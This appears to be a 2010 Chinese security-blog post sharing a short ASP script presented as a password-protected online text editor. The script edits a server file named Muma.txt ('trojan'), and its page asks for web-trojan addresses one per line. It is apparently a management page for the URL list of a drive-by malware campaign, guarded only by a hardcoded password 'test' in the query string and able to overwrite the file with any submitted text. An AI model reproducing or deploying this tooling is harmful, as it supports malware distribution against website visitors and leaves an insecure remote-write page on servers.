Asp简易在线文本编辑器(支持密码):
<%
Dim PassWord, FilePath
PassWord = "test" '密码
FilePath = Server.MapPath("Muma.txt") '文本路径
IF Request.QueryString = PassWord Then Session("admin") = PassWord '设置登陆会话
IF Session("admin") <> PassWord Then Response.End '判断登录状态
IF Request.QueryString = "Save" Then '保存文件
Server.CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath,2,Flase).Write Request("TxtData")
Response.Write "<body bgcolor=#0000000><p align=center><FONT style='FONT-WEIGHT: bolder; FONT-SIZE: 25px; FILTER: blur(add=1, direction=45,strength=10); WIDTH: 450px; POSITION: relative' color=#ff0000>数据保存成功!</FONT></p>"
Else
Response.Write "<title>Asp文本编辑 - By:Nuclear'Atk</title><p align=center><FONT style='FONT-WEIGHT: bolder; FONT-SIZE: 20px; FILTER: blur(add=1, direction=45,strength=10); WIDTH: 450px; POSITION: relative' color=#ff0000>网马地址一行一个<br>支持无限行</FONT></p>" & vbcrlf
Response.Write "<body bgcolor=#0000000><form action=?Save method='POST'>" & vbcrlf
Response.write "<p align=center><textarea name='TxtData' cols='100' rows='30' style='background:#000000;color=#0000ff'>" & CreateObject("Scripting.FileSystemObject").OpenTextfile(FilePath,1,False).Readall & "</textarea></p>" & vbcrlf
Response.Write "<p align=center><input type='button' name='Submit' value='重读列表' style=""background-color:#000000;color=#ff0000"" onclick=""javascript:location.href='?'""> " & vbcrlf
Response.Write "<input type='submit' style='background:#000000;color=#00ff00' value='保存列表'></p></form>" & vbcrlf
End IF
Response.End
%> |
文章作者
Nuclear'Atk
上次更新
2010-09-08
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。